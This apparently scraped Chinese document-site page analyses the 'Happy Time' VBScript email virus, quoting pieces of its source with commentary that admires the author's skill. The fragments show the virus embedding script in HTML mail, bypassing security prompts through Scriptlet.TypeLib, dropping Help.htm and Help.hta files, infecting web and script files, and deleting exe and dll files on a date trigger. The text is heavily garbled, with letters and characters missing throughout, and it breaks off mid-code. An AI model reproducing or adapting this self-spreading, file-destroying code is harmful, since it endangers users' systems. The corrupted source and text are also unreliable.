欢乐时光代码分析.docVIP

欢乐时光代码分析 “欢乐时光”其实了超文本邮件中可以夹带脚本语言的特点而棋高一招的。知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTL）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的VBSript和JavaSript。“欢乐时光”… “欢乐时光”其实了超文本邮件中可以夹带脚本语言的特点而棋高一招的。知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTL）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的VBSript和JavaSript。“欢乐时光”在超文本中夹带的VBS。从源代码中可以看得，该作者很是长期从事络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，是了类型库（TypeLibrary）地避开了安全审核的手段更是令人叹为观止。 下面让来看看它藏在快乐的外衣下的是吧！ ***************欢乐时光*************** ReIasrry happytie nErrrResueNext lad 为病毒入口，并加上Iasrry happytie的注释，以表明此文件已被感染过。 Sublad() nErrrResueNext Path=Grf() Sets=reatebjet( Sriptlet.TypeLib ) Seth=reatebjet( Shell.Appliatin ) 枚举，避开了安全审核 IfIsHTLThen 调用IsHtl函数，是Htl，就小写…… URL=Lase(duent.Latin) IfPath= Then s.Reset s.Path= :\Help.ht s.D=Lhtl() s.rite() Path为空，就在盘下生成Help.ht Ihtl= 超文本的内容，并指向:\Help.Ht allduent.Bdy.insertAdjaentHTL( AfterBegin ,Ihtl) Else IfIv(Path, Help.vbs )Then setInterval Rt() ,10000 Else = hta IfLase()=Right(URL,Len())Then id=setTieut( lse() ,1) 设置超时条件 ain Else s.Reset() s.Path=Path \ Help.hta s.D=Lhtl() s.rite() IvPath, Help.hta 生成Help.hta EndIf EndIf EndIf Else ain 都，就ain函数 EndIf EndSub ****************************************************************** 为主函数，太长了！ Subain() nErrrResueNext Setf=reatebjet( Sripting.FileSystebjet ) 不用说，创建FileSystebjet啦 Setd=reatebjet( Sripting.Ditinary ) 创建Ditinary,用来保存数据键和项目对，它上是开放的数组 d.Add htl , 1100 d.Add vbs , 0100 d.Add ht , 1100 d.Add asp , 0010 向Ditinary添加要感染的项目对 Ks= HKEY_URRENT_USER\Sftare\ 使用变量以代码长度 Ds=Grf() s=Gsf() IfIsVbsThen 是VBS Iff.FileExists( :\help.ht )Then f.DeleteFile( :\help.ht ) :\help.ht，就删掉，消灭遗留的痕迹 EndIf Key=Int(nth(Date)+Day(Date)) IfKey=13Then 月与日之和为13（这它变种多的原因——将13改为数字即可） d.ReveAll d.Add exe , 0001 d.Add dll , 0001 就清空Ditinary数组，并将exe、dll加入Ditinary，以备删除之用 EndIf n=Rg(Ks Help\unt ) 读注册表中的HKEY_URRENT_USER\Sftare\Help\unt键值 Ifn= Then n=1 unt为0，就设为1 EndIf RKs Help\unt ,n+1 添加HKEY_URRENT_USER\Sftare\Help\unt键值，值为2 f1=Rg(Ks Help\FileNae ) 再读HKEY_URRENT_USER\Sftare\Help\FileNae键值 f2=FNext